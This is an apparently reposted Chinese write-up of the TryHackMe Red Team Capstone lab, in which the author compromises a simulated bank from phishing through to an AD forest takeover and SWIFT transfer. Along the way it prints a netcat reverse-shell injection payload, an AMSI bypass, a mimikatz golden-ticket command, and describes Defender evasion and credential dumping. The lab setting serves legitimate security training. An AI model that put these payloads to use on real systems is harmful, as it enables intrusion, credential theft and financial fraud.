TryHackMe-Red Team Capstone Challenge (红队挑战)【真实红队模拟】

news2024/10/7 6:38:05

Red Team Capstone Challenge

TryHackMe

注意:我不会在这里提及相关的flag,只专心打;flag可以自己用各个hostname尝试一遍

挑战作者的一句话

这个房间被评为坚硬,但因为它是你前面的一座山,它可能被评为疯狂。但是,当您将其分解为必须实现的妥协的各个阶段时,这些阶段中没有一个实际上很难;他们只需要关注细节并合理地应用您应该通过红队学习途径学到的知识。正常的红队交战持续数周,有时甚至数月。在应对挑战时考虑到这一点。

创建此网络是为了模拟您在红队期间通常会在真实客户参与中发现的内容。此挑战中的任何攻击路径都不是作为虚构的 CTF 创建的。相反,您会发现我在交战中亲自看到的错误配置和漏洞。但是,您还将面临我不得不面对的真正挑战,某些工具或技术根本无法开箱即用,或者必须使用独创性来使某些东西以您想要的方式运行。同样,在实际参与中,答案永远不会拿起电话告诉客户“我不能妥协这个主机,因为我使用的工具显示 XYZ 错误”。这根本不会削减它。答案是启动调试过程,尝试了解不同之处,并利用这些知识进行调整,以便仍然能够执行攻击。

当你攀登这座山时,我的一些建议 - 首先,确保正确阅读所提供的信息。此信息旨在帮助您避免将其作为 CTF 进行尝试,这可能会导致挫败感。其次,这一挑战在每个阶段都有多重妥协。如果您坚持尝试使特定攻击起作用,我的建议是执行其他枚举以尝试发现其他攻击路径。找到你自己的黄金路径来完成一次挑战,然后返回并尝试征服其他攻击路径。

最重要的是要记住征服这个顶点挑战

  • 这是红队的练习,而不是夺旗游戏。仅凭您的 CTF 技能不足以完成挑战。
  • 该练习测试您在红队学习路径中学到的技能。我们建议在尝试挑战之前至少完成此路径的 80%。如果您遇到困难,请返回路径,因为它涵盖了您需要的技术。
  • 有不同的方法可以完成此练习。如果您在特定攻击中遇到问题,请尝试不同的方法和途径。
  • 仔细阅读任务2“项目简介”,因为它包含完成挑战所需的关键信息。

网络拓扑

在这里插入图片描述

项目概述

网络安全咨询公司TryHackMe已与Trimento政府接洽,要求对他们的储备银行(TheReserve)进行红队交战。 Trimento是一个位于太平洋的岛国。虽然它们的规模可能很小,但由于外国投资,它们绝不是不富裕的。他们的储备银行有两个主要部门:

  • 公司 - Trimento储备银行允许外国投资,因此他们有一个部门负责该国的企业银行客户。
  • 银行 - Trimento储备银行负责该国的核心银行系统,该系统与世界各地的其他银行相连。

logo:

在这里插入图片描述

Trimento政府表示,评估将涵盖整个储备银行,包括其周边和内部网络。他们担心,企业分工在促进经济的同时,由于隔离不足,可能会危及核心银行体系。这种红队参与的结果将决定是否应该将公司部门分拆成自己的公司。

此评估的目的是评估公司部门是否可以受到损害,如果是,则确定它是否会损害银行部门。必须执行模拟的欺诈性汇款以充分证明妥协。

为了安全地执行此操作,TheReserve将为您创建两个新的核心银行账户。您需要证明可以在这两个帐户之间转移资金。唯一可行的方法是访问核心后端银行系统SWIFT。

注意:SWIFT(全球银行间金融电信协会)是银行用于后端转账的实际系统。在此评估中,已创建一个核心后端系统。但是,出于安全原因,在此过程中引入了故意的不准确之处。如果您想了解有关实际 SWIFT 及其安全性的更多信息,请随时进行一些研究!换句话说,这里下面的信息是编造的。

为了帮助您了解项目目标,Trimento政府分享了一些有关SWIFT后端系统的信息。SWIFT 在访问受限的隔离安全环境中运行。虽然不应轻易使用不可能这个词,但实际托管基础架构受损的可能性非常小,可以公平地说,不可能破坏此基础架构。

但是,SWIFT 后端在 http://swift.bank.thereserve.loc/ 处公开了一个内部 Web 应用程序,TheReserve 使用它来促进传输。政府提供了转移的一般程序。要转移资金:

  1. 客户要求转移资金并收到转移代码。
  2. 客户联系银行并提供此转账代码。
  3. 具有捕获者角色的员工向 SWIFT 应用程序进行身份验证并捕获传输。
  4. 具有审批者角色的员工查看转移详细信息,如果经过验证,则批准转移。这必须从跳转主机执行。
  5. 一旦 SWIFT 网络收到转账批准,转账就会得到便利,并通知客户。

项目范围

本节详细介绍了项目范围。

范围内

  1. 对TheReserve的内部和外部网络进行安全测试,包括通过VPN连接访问的所有IP范围。
  2. TheReserve公司网站的OSINTing,该网站在TheReserve的外部网络上公开。请注意,这意味着所有 OSINT 活动都应限制在提供的网络子网中,并且不需要外部互联网 OSINTing。
  3. 对TheReserve的任何员工的网络钓鱼。
  4. 攻击 WebMail 主机上 TheReserve 员工的邮箱 (.11)。
  5. 使用任何攻击方法完成在提供的帐户之间执行交易的目标。

超出范围

  1. 对未托管在网络上的任何站点进行安全测试。
  2. 对TryHackMe VPN(.250)和评分服务器进行安全测试,或试图攻击连接到网络的任何其他用户。
  3. 在 WebMail 服务器 (.11) 上进行的任何更改邮件服务器配置或其底层基础结构的安全测试。
  4. 攻击网络邮件门户上其他红队成员的邮箱(.11)。
  5. 外部(互联网)OSINT聚会。
  6. 攻击所提供子网范围之外的任何主机。完成以下问题后,您的子网将显示在网络图中。此 10.200.X.0/24 网络是应对此挑战的唯一范围内网络。
  7. 进行 DoS 攻击或任何使其他用户无法运行网络的攻击。

在开始之前,请确保您了解以下几点。如果有任何不清楚的地方,请重新阅读此任务。

  1. 此评估的目的是评估公司部门是否可以受到损害,如果是,则确定它是否会导致银行部门的损害。
  2. 为了证明这种危害,必须通过访问 SWIFT 核心后端银行系统来执行模拟欺诈性汇款。
  3. SWIFT 后端基础设施是安全的,但公开了 TheReserve 用于促进传输的内部 Web 应用程序。
  4. 调动的一般流程涉及职责分离,以确保一名员工无法同时捕获和批准同一调动。
  5. 已为您提供了一些信息和工具,您可能会发现这些信息和工具在练习中很有用,包括密码策略,但您可以自由使用自己的信息和工具。
  6. 有一些规则可以确定允许您和不允许做什么。不遵守这些规则可能会导致被禁止参加挑战。
  7. 获得网络访问权限后,您需要使用提供的SSH详细信息通过电子公民通信门户注册挑战。
  8. 您需要通过在已入侵的主机上执行特定步骤来证明已泄露。这些步骤将通过电子公民门户提供给您。

外围信息收集

网络拓扑更新

在这里插入图片描述

TheReserve网站

端口扫描

在这里插入图片描述

Web信息收集

进入80端口是TheReserve银行的主页

从title中得知,这是October CMS,版本号未知

在这里插入图片描述

TheReserve银行团队信息

从该网站上我们可以获得有关银行团队的信息

  • 银行主管 Brenda Henderson (女)
  • 副主任 Leslie Morley(女) 和 Martin Savage(男)
  • 企业高管 CEO (Paula)(女), CIO (Christopher)(男), CTO (Antony)(男), CMO (Charlene)(女), and COO (Rhys)(男)
  • 助理 Lynda(女)
  • 项目经理 Roy(男)

这里的名字不完整,在这些人员照片的目录下,我们可以获得更多、更完整的

在这里插入图片描述

在这里插入图片描述

邮箱:applications@corp.thereserve.loc

以此推测用户的邮箱是username@corp.thereserve.loc

目录扫描

上gobuster

在这里插入图片描述

searchsploit存在一些漏洞, 但似乎暂无法利用

在这里插入图片描述

mail服务器

端口扫描

在这里插入图片描述

开了不少端口

在这里插入图片描述

80端口是iis,但似乎没有任何东西

它是邮件服务器,所以开了110端口,但我们目前暂时没有任何有效凭据,尝试smb爆破太过缓慢,不考虑

OpenVpn服务器

扫一下12的vpn服务器

在这里插入图片描述

Web信息收集

80端口是一个登录页面

在这里插入图片描述

这里可以尝试使用刚刚获得的用户名进行爆破

我们已经得知了密码策略,可以用john自定义规则生成一些密码

在这里插入图片描述

尝试hydra爆破,失败

在这里插入图片描述

目录扫描

gobuster扫

在这里插入图片描述

获得一个openvpn文件

在这里插入图片描述

将其下载,将服务器ip改成当前的openvpn服务器

在这里插入图片描述

直接连接,注意:可能会一直刷重连,不过似乎不影响

在这里插入图片描述

经过多次主机存活扫描,里面除了vpn服务器和自己,一台机器都没有

VPN服务器Getshell

后来查看油管大佬的视频后发现vpn站点竟是使用邮箱登录的

在这里插入图片描述

登录进去

在这里插入图片描述

这里可以请求ovpn文件,我通过filename参数的意思,我从sql注入联想到命令注入,有后缀,并且无回显

使用反引号,尝试nc拼一把运气回连攻击机,竟然成功

在这里插入图片描述

直接老方法getshell

?filename=`mkfifo+/tmp/f1%3bnc+10.50.116.23+443+<+/tmp/f1+|+/bin/bash+>+/tmp/f1`

在这里插入图片描述

权限提升 - cp

查看sudo -l

在这里插入图片描述

很简单的提取方法,直接覆盖passwd

在这里插入图片描述

持久化

先加固shell

在这里插入图片描述

编辑ssh配置文件,允许密码登录

在这里插入图片描述

创建一个ssh账户,并将自己加入sudo组,方便后续行动

在这里插入图片描述

1q2w3e4r!@#$
usermod -a -G sudo hackerMM

sshuttle搭建隧道

在这里插入图片描述

针对银行团队开展 网络钓鱼行动

到e-citizen注册电子邮箱

在这里插入图片描述

如您所见,我们已经购买了一个用于域名抢注的域名,用于钓鱼。
发现网络邮件服务器后,您可以使用这些详细信息来验证并从您的邮箱中恢复其他项目信息。
一旦您执行了破坏网络的操作,请向 e-Citizen 进行身份验证,以便向政府提供更新。 如果您的更新足够,您将获得一面旗帜以指示进度。

设置gophish

我不会在这里提及如何设置gophish,因为THM已经教过,只记录必要的

在这里为了令我们的钓鱼网站更加真实,我选择套用他们银行vpn登录页面

在这里插入图片描述

勾选捕获密码

将钓鱼邮件模板和钓鱼页面设置好后,添加目标邮箱,我们已经获得目标团队的username,并且邮箱也可以猜测出来

在这里插入图片描述

添加活动

在这里插入图片描述

在这里插入图片描述

鱼叉式网络钓鱼

查看邮箱发现部分人回复只处理内部事情,不处理外部事宜

但其中一封邮件给我们指向了另一个方向:

在这里插入图片描述

再会,

谢谢您的来信。 但是,它似乎与我的业务部门无关。 请将您的问题提交给正确的 BU。

问候,
艾米莉·哈维

我猜测它会处理我们的信件,但前提是邮件内容她会感兴趣

我们在此回到银行的网站上,发现她和第一位女士会处理外部发来的信件

在这里插入图片描述

我想我们需要进行鱼叉式网络钓鱼,专门针对她两开展

我尝试通过chatgpt生成有关话题的邮件模板

在这里插入图片描述

但很遗憾,这个邮件发过去后,经理并没有回复我们,也没有点击链接,暗羽喵大佬建议尝试VBA宏

我尝试了msf生成VBA payload,依然没有回复邮件,猜测是因为被防火墙拦截了。

LNK劫持

尝试lnk劫持,利用mslink

在这里插入图片描述

发送邮件

在这里插入图片描述

开启smbserver,成功访问了过来

在这里插入图片描述

这里证明我们的VBA应该也成功了,但是没连接过来,目前我们可以确认

我尝试直接用msf生成反向shell payload,但没连接过来,应该是有WinDefender

尝试直接ntlm中继

在这里插入图片描述

失败

WinDefender C#免杀

尝试上次利用THM教导的免杀知识自己做的简单免杀,成功getshell

在这里插入图片描述

登录.250主机的ssh,获取flag1

在这里插入图片描述

由于shellcode是msf生成的,运行时执行命令依然会被杀,这里可以直接生成一个新进程规避WinDefender的内存检测,直接powershell或cmd

在这里插入图片描述

这样就不会再在运行时被检测到了

由于有AV的存在,我们无法随意使用WinPEAS和sharphound,这里可以使用SharpHound的powershell脚本,再去bypass AMSI

$a = [Ref].Assembly.GetType('System.Management.Automation.Ams'+'iUtils')
$b = $a.GetField('ams'+'iInitFailed','NonPublic,Static')
$b.SetValue($null,$true)

分段绕过

在这里插入图片描述




内网信息收集

内网存活主机、端口信息收集

在vpn服务器上

由于nmap扫描流量不走sshuttle隧道,这里只好传个nmap二进制可执行文件过去,在服务器上扫,收集内网主机存活

在这里插入图片描述

CORP子域 - 域信息收集 - SharpHound Bypass

在WRK1上

绕过AMSI后发现又会被WinDefender杀掉,这里只好考虑对SharpHound做混淆

https://github.com/Flangvik/ObfuscatedSharpCollection

这个项目包含许多可执行文件的混淆版本,这里的经过混淆的sharphound能够使用

在这里插入图片描述

收集域信息

在这里插入图片描述

攻击机开启smbserver后回传数据包,等待下一步利用

WinPEAS WRK1本地信息收集

上winPEAS,提取到WRK1\Administrator的密码,等待下一步利用

在这里插入图片描述

CORP子域 - 初步AD域枚举

我们目前拥有两组凭据,以及一个WRK1/Administrator的明文密码(未知是否有效)

可以尝试常规的攻击方式

Kerberoasting

直接上impacket

在这里插入图片描述

直接上hashcat

在这里插入图片描述

只得到了svcScanning的账户密码,不过也足矣

在这里插入图片描述

分析

SVCBACKUPS组允许通过登录到server1和server2,并且可以通过server的机器账户修改DC BACKUPS的GPO

在这里插入图片描述

CORP子域 - AD横向移动 - SERVER1/SERVER2

SERVER1

有了凭据和信息,我们直接evil-winrm等server1和server2

在这里插入图片描述

查看whoami发现我们属于administrators组

在这里插入图片描述

进rdp把杀毒关了

在这里插入图片描述

mimikatz简单找了一波没找到啥

下来用impacket的secretsdump获得了svcBackups的明文密码

在这里插入图片描述

CORP子域 - AD利用

DC

根据以往的经验,这种账户应该有权限转储ntds.dit

在这里插入图片描述

拿着nt hash直接登

在这里插入图片描述

注意:如果想要拿flag4的话可以直接拿着DA组的hash用xfreerdp进行pth登录,当然也可以自己添加给账户

简单域持久

直接向DA组添加账户

在这里插入图片描述

顺便把WinDefender关了

在这里插入图片描述

网络拓扑更新

在这里插入图片描述




接管父域 - 域间移动

Inter-Realm TGT - 域间金票

通过双向信任,接管父域

用AD-RSAT的cmdlet获取到corp子域DC的sid、EA组的sid

krbtgt在前面DCsync的时候已经获取了,直接开始做金票

mimikatz # kerberos::golden /user:Administrator /domain:corp.thereserve.loc /sid:S-1-5-21-170228521-1485475711-3199862024-1009 /service:krbtgt /rc4:0c757a3445acb94a654554f3ac529ede /sids:S-1-5-21-1255581842-1300659601-3764024703-519 /ptt

在这里插入图片描述

也可以用/export导出kirbi tgt文件保存到攻击机

验证tgt是否有效

在这里插入图片描述

移动到RootDC

这里psexec过去rootDC

在这里插入图片描述

由于我们当前是corp\Administrator登录过去的,所以尝试在RootDC上添加自己的账户的时候会失败

但我们有权,可以直接修改thereserve.loc\Administrator的密码

在这里插入图片描述

然后从corpDC登录thereserve.loc\Administrator然后通过psexec登rootDC

添加EA组后门账户

在这里插入图片描述

注意, bank子域与corp子域应该是没有信任关系的,这就意味着我们无法直接从corp子域访问到bank子域

但我们可以利用子域与父域的双向信任。我们可以先从corpDC登录到RootDC,再从RootDC访问到Bank子域

另外,我们还需要在bank子域下单独创建一个账户并赋予DA组权限

至此,我们已经掌控整个域,拥有所有域的完全控制权




银行转账

反向ssh

JMP机器是可以直接与我们攻击机互通的,这里直接用ssh反向连接到攻击机做代理

在这里插入图片描述

配置浏览器代理插件

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

我们到.250机器上将会获得一个银行账户,用其进行登录

向指定的账户转账1000万

在这里插入图片描述


在检索的时候,无意发现一个py脚本,里面存在一组凭据,这就是银行转账审批者的账户

在这里插入图片描述

查看该用户所在的组,可以猜到这个组应该就是负责最终批钱的

在这里插入图片描述


顺着用户组,找到了另一个组,该组应该就是负责初步审核的

在这里插入图片描述


在.61机器下,有两个PA组账户在这里登录过

那么PC组也能或者说最有可能在WORK1和WORK2下活动

登录到WORK1,发现这里果然有PC组的账户登录

在这里插入图片描述

直接改密码

在这里插入图片描述

rdp登录过去

在这里插入图片描述

虽然Chrome里啥也没有,但是该用户的家目录下有个文件,里面记录的应该就是他的网站登录密码

在这里插入图片描述

用这凭据成功登录

在这里插入图片描述

进后台把自己的转账申请同意

在这里插入图片描述

退出登录,回到r.davies账户,同意转账

在这里插入图片描述

最终转账

这是最后的检查! 如果您还没有完成所有其他标志,请不要尝试此操作。
完成后,请按照下列步骤操作:

  1. 使用您的 DESTINATION 凭据,向 SWIFT 进行身份验证
  2. 使用 SWIFT 访问标志电子邮件中提供的 PIN,验证交易。
  3. 使用您的捕获器访问权限,捕获已验证的交易。
  4. 使用您的批准者访问权限,批准捕获的交易。
  5. 利润?

一旦您批准了所提供的交易,请输入 Y 以验证您的访问权限。

这个跟前面的操作一致,仅仅只是多了一步PIN码确认,这里我就不再重复论述了

这里值得注意的是不要重新创建转账请求,而是对着原来1000万的那个进行PIN码确认

拓扑更新

在这里插入图片描述

结束

这个红队挑战是我在thm学习这么久打的最棒的挑战,它确实是几乎考察了红队路径7-80%的考点,其实回头看整个挑战,其实并没有什么难点,只要认认真真在THM学,根本就毫无难度,这个挑战可以作为考察自己红队路径有没有学及格,仅此而已

这次红队挑战对我来说也是第一次,完成这个挑战,对我来说也意味着我也差不多适合前往htb了,我在TryHackMe学习了截至目前173天,我从零学到现在,只有我自己知道我学了多少东西,所以这才是我真正热爱thm的原因,但我也要往更高处走了,步入大佬们的后尘,感谢TryHackMe

在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/552288.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

【Vue3】滑动验证组件 | 滑动验证

前言 滑块验证不只判断是否滑动到尾部&#xff0c;真正的目的是检测用户行为&#xff0c;检测行为是人为、脚本、还是其它。 防止使用脚本大量注册、请求等 。比如发送请求时&#xff0c;判断用户在某个页面停留了多长时间。登录、注册时是否点击了登录、注册按钮&#xff0c;…

Lesson1——数据结构前言

前言&#xff1a; 今天我们正式开始一个新的专栏——初阶数据结构&#xff08;C语言实现&#xff09;&#xff0c;本专栏后续持续更新时间复杂度空间复杂度、顺序表、链表、栈和队列、二叉树、排序等算法的相关知识&#xff0c;欢迎大家互相学习&#xff0c;可以私信互相讨论哦…

一次oracle环境 enq: TX - allocate ITL entry锁问题分析

enq: TX - allocate ITL entry锁问题分析 通过分析问题时间段两个节点的AWR报告&#xff0c;TOP1等待为锁竞争enq: TX - allocate ITL entry&#xff0c;该等待事件是由于缺省情况下创建的表的INITRANS参数为1,索引的INITRANS参数值为2.当有太多的并发DML操作的数据行处于相同的…

日志模块封封装:单例模式+策略模式+构建者模式+bugly

日志模块封封装:单例模式策略模式构建者模式bugly 一.单例模式策略模式构建者模式二.日志模块封装1.日志等级&#xff1a;LoggerLevel枚举类2.日志输出类型&#xff1a;LoggerType枚举类3.ILogger接口4.LogCatLogger/FileLogger/NetWorkLogger/EmailLogger5.使用构建者模式创建…

相同格式相同分辨率图片不同大小分析

1、问题 有三张图片&#xff0c;如下&#xff1a; 这三张图片均为jpg格式&#xff0c;分辨率均为1851*580&#xff0c;肉眼看不出区别。但是大小不同。 2号为217KB&#xff0c;4号为1.15MB&#xff0c;5号为1.06MB。 我们看下常规信息&#xff0c;先看2号&#xff1a; 可以…

初识Linux:第五篇

初识Linux&#xff1a;第五篇 初识Linux&#xff1a;第五篇1.Linux下的用户2.Linux权限管理2.1文件权限管理2.2文件权限的更改2.21改变文件访问权限属性2.22改变文件的身份 3.三个问题 总结 初识Linux&#xff1a;第五篇 &#x1f601;本篇主要介绍Linux权限的相关知识&#x1…

vue+elementui+nodejs高校校园在线打印预约系统

在线提交文档进行打印 首页简单介绍系统 语言 node.js 框架&#xff1a;Express 前端:Vue.js 数据库&#xff1a;mysql 数据库工具&#xff1a;Navicat 开发软件&#xff1a;VScode 顶部或主页按钮转到打印 用户可以登录 查看历史打印记录 用户分学生和非学生 学生可以享有优惠…

基于.NetCore开源的Windows的GIF录屏工具

推荐一个Github上Start超过20K的超火、好用的屏幕截图转换为 GIF 动图开源项目。 项目简介 这是基于.Net Core WPF 开发的、开源项目&#xff0c;可将屏幕截图转为 GIF 动画。它的核心功能是能够简单、快速地截取整个屏幕或者选定区域&#xff0c;并将其转为 GIF动画&#x…

编写 ROS 消息发布订阅器(五)

执行命令&#xff0c;指定目录添加cpp文件 cd ~/catkin_ws/src/beginner_tutorials如果没有src目录&#xff0c; 就自己创建一个目录叫src cd src/ vim talker.cpp 复制代码粘贴&#xff1a; #include "ros/ros.h" #include "std_msgs/String.h" int m…

C++/R 期末冲刺3h

C 1. 基础程序 #include "iostream" // C头文件 #include "stdio.h" // C 头文件 //using namespace std; // 命名空间// main() 是程序开始执行的地方int main() {std::cout << "Hello, World!" << "\n";return 0; …

【数据结构】线性结构 之 顺序表

&#x1f331;博客主页&#xff1a;大寄一场. &#x1f331;系列专栏&#xff1a;数据结构与算法 &#x1f618;博客制作不易欢迎各位&#x1f44d;点赞⭐收藏➕关注 目录 前言 顺序表概念及结构 静态代码实现&#xff1a; 动态代码实现&#xff1a; SeqList.h文件 SeqLi…

使用VitePress和Github搭建个人博客网站,可以自动构建和发布

之前我们写过一篇关于如何自动构建和发布个人博客的文章&#xff0c;当时是使用VuePress和GitLab。GitLab持续集成部署CI/CD初探&#xff1a;如何自动构建和发布个人前端博客 现在换了Vue3和Vite&#xff0c;使用VitePress在Github上又搭建了一个博客。博客地址&#xff1a; …

博弈Ai官网ChatGPT能力真实测评

链接&#xff1a;https://chat.bo-e.com/&#xff08;基于ChatGPT4和3.5研发的智能聊天机器人国产镜像&#xff09; 一&#xff0c;博弈Ai的UI设计样式 1、博弈Ai&#xff08;ChatGPT&#xff09;白天模式 2、博弈Ai&#xff08;ChatGPT&#xff09;黑天模式 3、博弈Ai&#x…

五、c++学习(加餐1:汇编基础学习)

经过前面几节课的学习&#xff0c;我们在一些地方都会使用汇编来分析&#xff0c;我们学习汇编&#xff0c;只是学习一些基础&#xff0c;主要是在我们需要深入分析语法的时候&#xff0c;使用汇编分析&#xff0c;这样会让我们更熟悉c编译器和语法。 从这节课开始&#xff0c…

【003hive基础】hive的数据类型

文章目录 一.数据类型1. 基础数据类型2. 复杂数据类型 二. 显式转换与隐式转换三. hive的读时模式 一.数据类型 1. 基础数据类型 2. 复杂数据类型 array: 有序相同数据类型的集合。 arrays(1, 2)map : key必须是基本数据类型&#xff0c;value不限。 map(‘a’, 1, ‘b’, 2)s…

线性回归、正规方程和梯度下降法

一、线性回归简介 1.定义与公式 线性回归是利用回归方程(函数)对一个或多个自变量(特征值)和因变量(目标值)之间关系进行建模的一种分析方式。 特点&#xff1a;只有一个自变量的情况称为单变量回归&#xff0c;多余一个自变量情况的叫做多元回归 通用公式&#xff1a; y …

javascript基础三:谈谈 JavaScript 中的类型转换机制

一、概述 JS中有六种简单数据类型&#xff1a;undefined、null、boolean、string、number、symbol&#xff0c;以及引用类型&#xff1a;object 但是我们在声明的时候只有一种数据类型&#xff0c;只有到运行期间才会确定当前类型 let name y?allen:1上面代码中&#xff0c…

2023年NOC大赛创客智慧编程赛项Python 复赛模拟题(二)

题目来自:NOC 大赛创客智慧编程赛项Python 复赛模拟题(二) NOC大赛创客智慧编程赛项Python 复赛模拟题(二) 第一题: 编写一个成绩评价系统,当输入语文、数学和英语三门课程成绩时,输出三门课程总成绩及其等级。 (1)程序提示用户输入三个数字,数字分别表示语文、数学、…

ChatGPT-4 镜像网站推荐

文章目录 1. TomChat2. Ai Doge3. 二狗问答4. 小莓用AI5. Ora6. 未知名字7. VIVI-AI8. ATALK9. ChatGPT Web10 AIchatOS 什么是ChatGPT? ChatGPT&#xff0c;全称&#xff1a;聊天生成预训练转换器&#xff08;英语&#xff1a;Chat Generative Pre-trained Transformer&#…

抓取领域相关论文及摘要

抓取规划问题是指确定物体与手指间的一系列接触位置&#xff0c;使得手指能抵抗任意外力且灵活操作物体的能力。传统的基于分析的抓取规划需要根据已知的被抓物体模型根据力闭合的条件判断抓取的好&#xff0c;这种方法只适合对已知的物体进行抓取。 然而日常生活中有很多相似…